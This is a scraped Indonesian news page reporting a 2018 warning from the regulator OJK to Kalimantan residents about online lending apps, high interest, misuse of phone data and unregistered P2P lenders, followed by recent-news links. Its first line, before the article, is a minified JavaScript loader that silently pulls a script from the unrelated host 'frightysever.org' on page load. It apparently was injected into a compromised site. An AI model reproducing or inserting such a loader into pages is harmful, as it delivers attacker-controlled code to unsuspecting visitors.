(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

OJK : Warga Hati-hati Gunakan Aplikasi Kredit Online


BANJARMASIN, Kepala Otoritas Jasa Keuangan (OJK) Regional 9 Kalimantan Haryanto mengingatkan masyarakat Kalsel berhati-hati dalam menggunakan fintech (financial technology) untuk keperluan kredit berbasis online.

Hal tersebut disampaikannya disela kegiatan OJK Inspiratif bersama insan pers, Rabu (12/12/2018) di Cafe Kordinat Duta Mall Banjarmasin.

“Kita sudah menerima beberapa pengaduan masyarakat Kalsel terkait kredit online melalui aplikasi. Rata-rata keluhan mereka sama, yaitu bunga yang terlalu besar hingga pemanfaatan data ponsel mereka yang dianggap berlebihan,” beber Haryanto.

Keberadaan fintech untuk keperluan kredit online sebenarnya merupakan bentuk alternatif pendanaan yang mempermudah akses keuangan masyarakat. Namun selain manfaat yang bisa didapat, masyarakat harus benar-benar memahami risiko, kewajiban dan biaya saat menggunakannya, sehingga terhindar dari hal-hal yang bisa merugikan.

“Kami mengimbau kepada masyarakat agar membaca dan memahami persyaratan ketentuan dalam kredit online terlebih dahulu, terutama mengenai kewajiban dan biayanya. Lalu hal yang juga harus dipahami adalah kredit online merupakan perjanjian pendanaan yang akan menimbulkan kewajiban di kemudian hari untuk pengembalian pokok dan bunga utang secara tepat waktu sesuai dengan kesepakatan antara kedua belah pihak,” jelasnya.

Sesuai dengan POJK 77/2016 tentang Layanan Pinjam Meminjam Uang Berbasis Teknologi Informasi, OJK hanya mengawasi penyelenggara kredit online atau yang dikenal dengan istilah Fintech Peer To Peer Lending (P2P) yang berstatus terdaftar atau berizin dan hingga 12 Desember 2018 telah mencapai 78 penyelenggara.

Penyelenggara P2P yang tidak terdaftar atau berizin di OJK dikategorikan sebagai P2P ilegal. OJK mengingatkan bahwa keberadaan P2P ilegal tidak dalam pengawasan pihak manapun, sehingga transaksi dengan pihak P2P ilegal sangat berisiko tinggi bagi para penggunanya.

“Karena itulah kami meminta masyarakat yang ingin memanfaatkan aplikasi kredit online untuk terlebih dahulu mengunjungi website www.ojk.go.id dan menghubungi kontak OJK 157 dan email konsumen@ojk.go.id untuk mendapatkan informasi kegiatan P2P dan mewaspadai keberadaan dan menghindari interaksi dengan P2P ilegal,” pungkasnya. (arief)

Reporter:Arief
editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

15 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

22 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.